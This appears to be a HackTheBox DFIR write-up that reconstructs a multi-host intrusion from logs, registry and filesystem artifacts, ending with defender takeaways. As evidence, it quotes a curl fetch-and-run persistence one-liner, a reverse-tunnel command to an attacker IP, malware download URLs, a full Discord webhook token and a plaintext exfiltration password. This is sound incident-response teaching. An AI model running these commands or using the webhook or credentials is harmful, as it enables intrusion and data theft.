// HackTheBox  ·  writeup

CorpDown-2

HackTheBox Hard EvtxECmdPECmdMFTECmdRECmdregipyobjdumpPython
DFIRWindowsLinux

Scenario

A security breach was detected on TriDsk-WKS01 shortly after an employee returned from vacation. The TriDsk corporate IR team identified additional anomalous activity but prematurely initiated containment and eradication before completing identification, analysis, and scoping, limiting situational awareness. The threat actor observed IR interference and adapted their operations, accelerating lateral movement across the corporate network and leveraging existing persistence. This facilitated backup deletion and large-scale data exfiltration, culminating in a Corp Down scenario that rendered standard restoration procedures ineffective.

Executive Summary

The actor reached the environment through an internal chat service, sharing a shortcut disguised as a release-notes PDF. On the first workstation they dropped a keylogger that reported to a Discord webhook, then tunnelled SSH out to their own server with a renamed client to reach an internal Linux host. A script killed the SSH client to force the user to re-enter credentials, which gave them valid accounts for the next hops. On the Linux host they downloaded two implants and persisted through a systemd unit that re-fetched a payload. From there they reached the domain controller, created a service over the loopback admin share, disabled Defender, and added a new Domain Admin. They enabled RDP on the file server, installed the IT team’s WinSCP from a local installer, and exfiltrated a staged archive that was then wiped.

Artifacts

Timestamp note: Windows logs are UTC, but app01 writes auth.log and wtmp in UTC+2. Subtract two hours before answering any question about that host.

Initial Access

Q1 — The threat actor abused an internal communication service between employees and shared a malicious file to facilitate lateral movement within the network. This activity is believed to have originated from TriDsk-WKS02 which was recently compromised. Provide the full path of the file that was downloaded.

Martha’s Downloads folder on TriDsk-WKS01 holds the shortcut that carried the shared file. Searching the All File Metadata listing for the Downloads, Temp and Public folders of the user for .lnk and .exe entries surfaces a release-notes PDF that is really a .lnk, the lure delivered through the internal chat.

grep -iE 'lnk|\.exe' 'All File Metadata.csv' | grep -i martha
Click flag to reveal C:\Users\Martha\Downloads\TriDsk-OCT-2025_ReleaseNotes_v1.pdf.lnk

Credential Access

Q2 — The threat actor downloaded a keylogger to the endpoint to capture user keystrokes. Provide the exact URL used to download the keylogger.

PowerShell logging on WKS01 records an iwr call that saves a payload to C:\Users\Public\Music\temp.exe at 00:57:43. temp.exe imports GetAsyncKeyState, which marks it as the keylogger, and the URL in the iwr line is the download source. The HostApplication field of Windows PowerShell event 600 carries the full command line.

grep -h HostApplication evtx/*Windows\ PowerShell*.csv | grep -i 'iwr\|OutFile'
Click to reveal answer http://93.121.68.219:8908/645.exe
Q5 — Identify the time interval (in milliseconds) that the keylogger waits before sending captured data to the server.

Static analysis of temp.exe only; it was not run. In the main loop the code calls GetTickCount, subtracts the stored tick and compares against 0x124f80 before entering the send routine. 0x124f80 is 1200000 milliseconds (20 minutes).

objdump -d -M intel temp.exe | grep -B3 -A6 'GetTickCount'
Click flag to reveal 1200000
Q6 — The keylogger exfiltrated captured data to a remote server. Provide the full destination URL.

The keylogger pulls its config from a Pastebin raw paste rather than hard-coding the destination. The paste is gone, so the Wayback Machine snapshot of the same raw URL was used (passive, no live fetch). It contains the Discord webhook the data is posted to.

curl -s 'https://archive.org/wayback/available?url=https://pastebin.com/raw/vt8yt1pH'

Note: Archive snapshot: web.archive.org/web/20260401110102/https://pastebin.com/raw/vt8yt1pH.

Click to reveal answer https://discord.com/api/webhooks/1452445434894221455/pKIO5TZGrGL7KaWLb_H03S61nI9OcRe_UKvEHhOBgG507IyprUxzYzBSOyTj46c2AVCY
Q4 — To force the user to re-enter their credentials for credential harvesting, the threat actor deployed a script that continuously monitors for the execution of the process related to the protocol being abused and immediately terminates it. Provide the process termination time.

The abused protocol is SSH (Q3), so the killer script targets ssh.exe. Its payload is in PowerShell event 600 (Invoke-ProcessKiller), and Prefetch lists the SSH.EXE runs. The first Prefetch-based guesses were a second or two off, and the value HTB accepted came from normalising a timestamp on the second endpoint to UTC. It was reasoned from the timezone offset rather than read from a single WKS01 artifact.

PECmd -d Windows/Prefetch --csv work/pf

Gotcha: The script’s own start time and the Prefetch last-run time for SSH.EXE both look right but are not the termination time asked for. Normalise every host to UTC before comparing.

Click to reveal answer 2025-12-26 00:52:51

Lateral Movement

Q3 — The threat actor identified and abused a protocol that enabled pivoting to other endpoint within the environment. They used a tool to facilitate further lateral movement abusing this protocol. Find the full command line used to move laterally using port forwarding.

The tunnel does not show up in the user’s ConsoleHost_history, so pivot to the Windows PowerShell log. Event 600 at 01:31:09 launches svchosts.exe from AppData\Local\Temp, a name chosen to blend in with svchost.exe, in client mode with a pinned fingerprint against the attacker host on port 8080, publishing a reverse forward from port 8000 to port 22 on an internal host. That internal address is the second endpoint.

grep -h HostApplication evtx/*PowerShell*.csv | grep -i 'svchosts'
Click flag to reveal powershell -Command C:\Users\martha\AppData\Local\Temp\svchosts.exe client --fingerprint YyOMHvo9v7CraOiZmWDmEuRvP6fiIsIeroYRZUqq7f0= 93.121.68.219:8080 R:8000:10.101.1.12:22
Q7 — After harvesting credentials, the threat actor moved laterally to another endpoint. When did they successfully authenticate to the new endpoint?

The second endpoint is a Linux host, app01. Its auth.log is written in UTC+2, which timezone and last from wtmp confirm. Filter sshd for Accepted and Failed lines, find the first success after the reverse forward appeared, and subtract two hours.

grep -E 'sshd.*(Accepted|Failed)' auth.log
Click flag to reveal 2025-12-26 01:33:03
Q11 — The threat actor performed lateral movement from Second Compromised Endpoint to another endpoint. Which alternative user account was used to access the target endpoint?

From app01 (10.101.1.12), the file server sees Type 3 logons in Security 4624. s1rx first appears at 03:52 and FileSrv_Admin from 04:29. The alternative account that was used to reach the target is FileSrv_Admin. This one was reasoned from the logon sequence, not read from a single event that names the pivot, and HTB accepted it.

python3 -I summarise_4624.py fs01.csv   # users and source IPs for 4624/4625
Click flag to reveal FileSrv_Admin
Q16 — The threat actor attempted to enable the RDP protocol on the endpoint but failed in doing so. They then moved laterally to another endpoint and successfully enabled RDP for remote access. When was RDP enabled?

RDP was turned on at FS01. The Windows Firewall log shows event 2005 (rules modified) at 04:14:10, which matches the RDP rule being enabled. The time was matched to the rule change rather than to an explicit registry write, and HTB accepted it.

grep -h ',2005,' evtx/fs01/*Firewall*.csv
Click to reveal answer 2025-12-26 04:14:10
Q17 — After Enabling RDP on the fourth endpoint, when did the attacker successfully log in via RDP using the backdoor account?

FS01 Security 4624 with Logon Type 10 (RemoteInteractive) for the backdoor account from Q15 gives the first RDP login.

grep -h ',4624,' evtx/fs01/*Security*.csv | grep 'RemoteInteractive'
Click flag to reveal 2025-12-26 04:23:02

Command and Control

Q8 — After moving laterally to the second system, the threat actor downloaded two malicious executables. When was the second executable file downloaded?

Search the app01 filesystem timeline for the dropped binaries under /tmp. /tmp/sh has a birth time of 03:50:20 local (+0200), which is 01:50:20 UTC, and is the second of the two downloads.

grep -E '/tmp/(sh|bash)' full-timeline.csv
Click to reveal answer 2025-12-26 01:50:20

Persistence

Q9 — The threat actor established persistence on this newly compromised endpoint after successfully escalating privileges. What is the full command that is executed as part of the persistence mechanism?

The persistence is a systemd unit, systemd-journald-helper.service, whose ExecStart is base64-encoded. Decoding it gives the curl one-liner that pulls updat3 into /dev/shm, hides it as .upd and runs it. The same unit shows up in svc-app01’s bash history. The task’s format mask already hinted at the /dev/shm/.upd shape.

base64 -d <<< "$(grep -o 'base64 -d.*' etc/systemd/system/systemd-journald-helper.service)"
Click flag to reveal curl -fsSL http://93.121.68.219:8908/updat3 -o /dev/shm/.upd&& chmod +x /dev/shm/.upd&& /dev/shm/.upd
Q10 — Determine the total dwell time, in minutes, that the threat actor spent on the second endpoint.

Dwell time comes from wtmp on app01: the attacker session as dev01 on pts/3 opened at 03:33:03 and closed at 07:23:28 local, which is 3 h 50 m 25 s, so 230.42 minutes.

last -F -f wtmp | grep dev01
Click to reveal answer 230.42
Q15 — The threat actor created a new user account and added it to the 'Domain Admins' group. What is the name of the user account?

DC01 Security shows event 4720 (user created) at 03:43:16 and 4728 (added to Domain Admins) at 03:43:55 for the same account.

grep -hE ',(4720|4728),' evtx/dc01/*Security*.csv
Click flag to reveal s1rx

Execution

Q12 — The threat actor obtained initial access on third machine by downloading and executing a malicious executable. Provide the full command used to execute the malicious file.

On DC01 the Windows PowerShell log has event 600 at 02:22:51 launching update.exe from the Administrator’s Music folder. Dedupe the HostApplication values first, because each command is logged several times.

grep -h 'Start-Process' evtx/dc01/*PowerShell*.csv | sort -u
Click to reveal answer powershell -c Start-Process C:\Users\Administrator\Music\update.exe
Q13 — What is the full file path associated with the malicious service created on the third compromised endpoint?

System event 7045 on DC01 at 03:33:44 records the new service f94c290, with its image path pointing at the loopback ADMIN$ share. A service whose image sits on the loopback admin share is what a PsExec-style remote service start against localhost looks like.

grep -h ',7045,' evtx/dc01/*System*.csv
Click flag to reveal \\127.0.0.1\ADMIN$\f94c290.exe

Defense Evasion

Q14 — When was Windows Defender real-time protection disabled on the endpoint?

Defender operational event 5001 (real-time protection disabled) on DC01 gives the time.

grep -h ',5001,' evtx/dc01/*Defender*.csv
Click to reveal answer 2025-12-26 02:48:44

Collection

Q19 — What was the full file path of the staged data that the threat actor later exfiltrated?

The staged archive was wiped with SDelete, so the file itself is gone. MFTECmd on the $J journal shows Backup.7z created in s1rx\Documents at 04:45:30 and renamed at 04:46:07 into Public\Downloads (MFT entry 468), later recycled. WinSCP’s LastPath for the local panel is C:\Users\Public\Downloads. This is a reconstruction from the journal and the WinSCP config, not a read of the file, and HTB accepted it.

MFTECmd -f '$J' --csv work/mft --csvf fs01j.csv

Tip: The $J csv has a BOM on the Name header and an empty ParentPath. Join via ParentEntryNumber to the $MFT output.

Click flag to reveal C:\Users\Public\Downloads\Backup.7z

Exfiltration

Q18 — The threat actor identified an application used by the IT team, installed it using the installer file already on the system and abused it for data exfiltration. What is the application name and version?

FS01 MsiInstaller event 11707 at 04:38:03 records an install from S:\Shares\IT\WinSCP-6.5.3.msi. The s1rx NTUSER hive also has a WinSCP key under Martin Prikryl\WinSCP 2.

grep -hiE 'MsiInstaller|winscp' evtx/fs01/*.csv
Click to reveal answer WinSCP 6.5.3
Q20 — What username and password did the threat actor use to authenticate to the external exfiltration server?

WinSCP stores the saved session under Sessions\s1rx@93.121.68.219 in the s1rx NTUSER hive. The Password value is obfuscated rather than encrypted, so decode it with the documented WinSCP algorithm using username + host as the key.

regipy-dump NTUSER.DAT -p 'Software\Martin Prikryl\WinSCP 2\Sessions'
Click to reveal answer s1rx:S1rx_vzNDP79yv

Attack Summary

PhaseAction
Initial AccessShortcut posing as a release-notes PDF shared through internal chat to Martha
Credential AccessKeylogger downloaded to Public\Music, exfiltrating to a Discord webhook
Command and ControlRenamed tunnel client run as svchosts.exe, reverse-forwarding to an internal SSH port
Credential AccessScript kills ssh.exe to force a credential re-entry
Lateral MovementSSH login to app01 with the harvested credentials
Command and ControlTwo implants downloaded to /tmp
Persistencesystemd unit re-downloads and runs a payload from /dev/shm
Lateral MovementPivot to the file server and domain controller with an alternative account
Executionupdate.exe run on DC01, remote service created over ADMIN$
Defense EvasionDefender real-time protection disabled
PersistenceNew account added to Domain Admins
Lateral MovementRDP enabled on FS01 and used with the backdoor account
ExfiltrationWinSCP installed from the IT share, staged archive uploaded to an external server

Forensic Timeline

All times UTC, 2025-12-26 unless noted.

TimestampEvent
00:57:43iwr downloads the keylogger to C:\Users\Public\Music\temp.exe
01:31:09Tunnel client launched on WKS01
01:33:03Successful login on app01
01:50:20/tmp/sh created on app01
02:22:51update.exe started on DC01
02:48:44Defender real-time protection disabled
03:33:44Service f94c290 created on DC01
03:43:16New user created on DC01
03:43:55User added to Domain Admins
04:14:10RDP firewall rules modified on FS01
04:23:02RDP login with the backdoor account
04:38:03WinSCP 6.5.3 installed on FS01
04:45:30Backup.7z created
04:46:07Backup.7z renamed into Public\Downloads

IOCs

TypeValue
IP93.121.68[.]219
URLhxxp[://]93[.]121[.]68[.]219:8908/645[.]exe
URLhxxp[://]93[.]121[.]68[.]219:8908/updat3
URLhxxps[://]discord[.]com/api/webhooks/1452445434894221455/...
FileC:\Users\Martha\Downloads\TriDsk-OCT-2025_ReleaseNotes_v1.pdf.lnk
FileC:\Users\Public\Music\temp.exe (keylogger)
FileC:\Users\martha\AppData\Local\Temp\svchosts.exe
File/dev/shm/.upd
Servicef94c290 (\\127.0.0.1\ADMIN$\f94c290.exe)
Accounts1rx (Domain Admins)

MITRE ATT&CK

TechniqueIDDescription
Internal SpearphishingT1534Malicious shortcut shared over internal chat
Input Capture: KeyloggingT1056.001temp.exe using GetAsyncKeyState
Protocol TunnelingT1572Reverse port forward to internal SSH
Remote Services: SSHT1021.004Login to app01
Ingress Tool TransferT1105Keylogger and implants fetched over HTTP
Create or Modify System Process: Systemd ServiceT1543.002systemd-journald-helper.service
Create or Modify System Process: Windows ServiceT1543.003Service f94c290 over ADMIN$
Create Account: Domain AccountT1136.002s1rx added to Domain Admins
Impair Defenses: Disable or Modify ToolsT1562.001Defender real-time protection off
Remote Services: RDPT1021.001RDP enabled and used on FS01
Exfiltration Over Web ServiceT1567Discord webhook and WinSCP upload
Data Staged: Local Data StagingT1074.001Backup.7z staged before upload

Defender Takeaways

Containing before scoping hands the actor the initiative. The scenario shows the actor adapting to early eradication and accelerating. Identify persistence on every host (the systemd unit, the service, the new Domain Admin) before pulling the plug on any one of them.

Renamed tools in user-writable paths are cheap to catch. svchosts.exe in a user Temp folder and temp.exe in Public\Music are both near-miss or meaningless names in writable paths. Alert on executables launched from those locations, and on PowerShell 600 events carrying iwr or tunnel arguments.

Log time zones before a hunt starts. app01 logs in UTC+2 while the Windows hosts are UTC, which shifted several answers by two hours. Normalise at ingestion.

Installers on file shares are attacker tooling. The IT share held a WinSCP installer, and the attacker used it. Remove installers for remote-transfer tools from shares and alert on MSI installs on servers, since WinSCP also stored the exfiltration credentials in the user profile.

Wiping the staging file only helps the attacker briefly. SDelete removed Backup.7z, but the $J journal still held the create and rename events. Keep the journal and ship server event logs off-box.

Conclusion

The actor moved from a chat-delivered shortcut to Domain Admin and external exfiltration in about five hours, using a keylogger, a renamed tunnel client and a stored WinSCP session. Early containment without full scoping left their persistence in place, so they simply continued.